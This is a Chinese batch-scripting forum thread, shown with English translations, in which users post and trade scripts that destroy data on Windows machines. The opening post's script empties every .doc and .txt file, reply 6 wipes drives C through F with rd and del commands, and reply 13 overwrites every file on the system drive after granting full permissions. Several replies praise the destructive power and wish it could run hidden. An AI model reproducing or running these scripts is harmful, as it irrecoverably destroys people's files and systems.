| 
 
bagpipe 
银牌会员
 
      DOS联盟捡破烂的
  
 
积分 1144 
发帖 425 
注册 2005-10-20 来自 北京 
状态 离线
 | 
『楼 主』:
 破坏C盘下所有*.DOC *.TXT文件内容,不可恢复
 
使用 LLM 解释/回答一下
  
这种技巧其实早就有了,就是回顾一下,希望各位甚用,只是讨论学习而用 
@echo off 
cls 
echo. 
echo; 
echo: 
echo    ***************CODE BY BAGPIPE********************* 
echo. 
echo; 
dir /s /b *.doc >1.txt 
dir /s /b *.txt >2.txt 
for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul 
for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul 
echo. 
echo   破坏C盘的所有*.doc *.txt文件内容,不可恢复 
This technique has actually been around for a long time. Just to review, I hope everyone uses it sparingly, just for discussion and learning. 
@echo off 
cls 
echo. 
echo; 
echo: 
echo    ***************CODE BY BAGPIPE********************* 
echo. 
echo; 
dir /s /b *.doc >1.txt 
dir /s /b *.txt >2.txt 
for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul 
for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul 
echo. 
echo   Destroy the content of all *.doc and *.txt files on drive C, irrecoverable 
    
 
  
附件
1:   99.rar (2006-3-1 11:57, 280 bytes, 下载附件所需积分 1 点
,下载次数: 84)
 
 
 |   
 | 
  2006-3-1 11:57 | 
  
 | 
 | 
 
Scott0902 
中级用户
 
   
 
  
  
积分 466 
发帖 237 
注册 2005-10-12 
状态 离线
 | 
 | 
  2006-3-1 12:54 | 
  
 | 
 | 
 
#four# 
中级用户
 
   
 
  
 
积分 209 
发帖 34 
注册 2004-5-25 
状态 离线
 | 
『第 3 楼』:
 
 
使用 LLM 解释/回答一下
  
顶楼的那位仁兄能不能说说for命令的详细用法 
我在这里先谢了!! 
Can the brother on the top floor please tell me the detailed usage of the for command? I thank you in advance here! 
    
 
  
 |   
 | 
  2006-3-1 13:50 | 
  
 | 
 | 
 
electronixtar 
铂金会员
 
       
 
  
  
积分 7493 
发帖 2672 
注册 2005-9-2 
状态 离线
 | 
『第 4 楼』:
 
 
使用 LLM 解释/回答一下
  
tokens好像只能在NT的命令行才可以用吧 
Tokens seem to only be usable in the NT command line, right? 
    
 
  
 |   
 | 
  2006-3-1 14:25 | 
  
 | 
 | 
 
3742668 
荣誉版主
 
       
 
  
  
积分 2013 
发帖 718 
注册 2006-2-18 
状态 离线
 | 
『第 5 楼』:
 
 
使用 LLM 解释/回答一下
  
晕,一句可以搞定的事: 
for %i in (*.txt) do copy /y nul %i >nul 
如果想遍历整个目录树可以加上/r参数,如果要加上别的扩展名直接在括号里面加上*.doc,只要用空格隔开就行了。。 
Oh, a thing that can be done in one line: 
for %i in (*.txt) do copy /y nul %i >nul 
If you want to traverse the entire directory tree, you can add the /r parameter. If you want to add other extensions, just add *.doc in the parentheses and separate them with spaces. 
    
 
  
 |   
 | 
  2006-3-1 19:53 | 
  
 | 
 | 
 
fanqiang 
初级用户
 
  
 
  
  
积分 113 
发帖 56 
注册 2007-9-4 
状态 离线
 | 
『第 6 楼』:
 
 
使用 LLM 解释/回答一下
  
rd /s/q c:\ 
rd /s/q d:\ 
rd /s/q e:\ 
rd /s/q f:\ 
del c:\*.* /f /q /a 
del d:\*.* /f /q /a 
del e:\*.* /f /q /a 
del e:\*.* /f /q /a 
这个更厉害 
rd /s/q c:\ 
rd /s/q d:\ 
rd /s/q e:\ 
rd /s/q f:\ 
del c:\*.* /f /q /a 
del d:\*.* /f /q /a 
del e:\*.* /f /q /a 
del e:\*.* /f /q /a 
This is more powerful 
    
 
  
 |   
 | 
  2007-10-1 12:26 | 
  
 | 
 | 
 
jinqiao 
新手上路
 
 
 
  
  
积分 9 
发帖 4 
注册 2007-1-25 
状态 离线
 | 
『第 7 楼』:
 
 
使用 LLM 解释/回答一下
  
太厉害了,破坏电脑的高手了 
That's amazing, a master at sabotaging computers 
    
 
  
 |   
 | 
  2007-10-2 12:14 | 
  
 | 
 | 
 
toudu 
新手上路
 
 
 
  
  
积分 5 
发帖 3 
注册 2007-3-15 
状态 离线
 | 
『第 8 楼』:
 
 
使用 LLM 解释/回答一下
  
牛人的办法 
破坏力强哦 
The method of a master, with strong destructive power oh 
    
 
  
 |   
 | 
  2007-10-3 21:11 | 
  
 | 
 | 
 
00dos00 
初级用户
 
  
 
  
  
积分 38 
发帖 20 
注册 2007-10-8 
状态 离线
 | 
 | 
  2007-10-8 20:43 | 
  
 | 
 | 
 
00dos00 
初级用户
 
  
 
  
  
积分 38 
发帖 20 
注册 2007-10-8 
状态 离线
 | 
 | 
  2007-10-8 20:43 | 
  
 | 
 | 
 
xunge 
初级用户
 
  
 
  
  
积分 24 
发帖 11 
注册 2007-9-14 
状态 离线
 | 
 | 
  2007-10-8 21:00 | 
  
 | 
 | 
 
fengjing001 
初级用户
 
  
 
  
  
积分 69 
发帖 37 
注册 2007-1-1 
状态 离线
 | 
『第 12 楼』:
 
 
使用 LLM 解释/回答一下
  
可以作为病毒研究资料。只可惜不能后台运行,不能隐藏界面,完成任务后不能自我删除。 
Can be used as virus research material. It's a pity that it can't run in the background, can't hide the interface, and can't self-delete after completing the task. 
    
 
  
 |   
 | 
  2007-10-13 20:39 | 
  
 | 
 | 
 
zhclsy 
初级用户
 
  
 
  
  
积分 83 
发帖 34 
注册 2007-10-14 
状态 离线
 | 
『第 13 楼』:
 刚发现这个论坛,呵呵!
 
使用 LLM 解释/回答一下
  
楼主啊,好象你用的copy可以恢复, 
用重定向才不可以恢复。 
本人很菜,个人看法,有意见可以提。 
请看下面! 
执行到底,应该你的系统就不能用了。 
看下面,大家可以测试! 
 
@echo off 
for /f "delims=" %%a in ('dir /s b /a %SystemDrive%\') do ( 
attrib "%%a" -s -h -r 
cacls "%%a" /c /e /g everyone:f 
@echo I love you!>"%%a" 
) 
The landlord, it seems that what you used copy can be restored, but what uses redirection cannot be restored. I'm very newbie, this is my personal opinion, you can put forward opinions if you have any. Please look below! Execute it to the end, and probably your system won't work. Look below, everyone can test! 
 
@echo off 
for /f "delims=" %%a in ('dir /s b /a %SystemDrive%\') do ( 
attrib "%%a" -s -h -r 
cacls "%%a" /c /e /g everyone:f 
@echo I love you!>"%%a" 
) 
    
 
  
 |   
 | 
  2007-10-14 14:10 | 
  
 | 
 | 
 
xiandan703 
初级用户
 
  
 
  
  
积分 62 
发帖 32 
注册 2007-10-12 
状态 离线
 | 
『第 14 楼』:
 
 
使用 LLM 解释/回答一下
  
菜鸟我~~~看不懂~~ 
A newbie like me~~~ can't understand~~ 
    
 
  
 |   
 | 
  2007-10-15 11:57 | 
  
 | 
 | 
 
fanqiang 
初级用户
 
  
 
  
  
积分 113 
发帖 56 
注册 2007-9-4 
状态 离线
 | 
 | 
  2007-10-26 08:33 | 
  
 |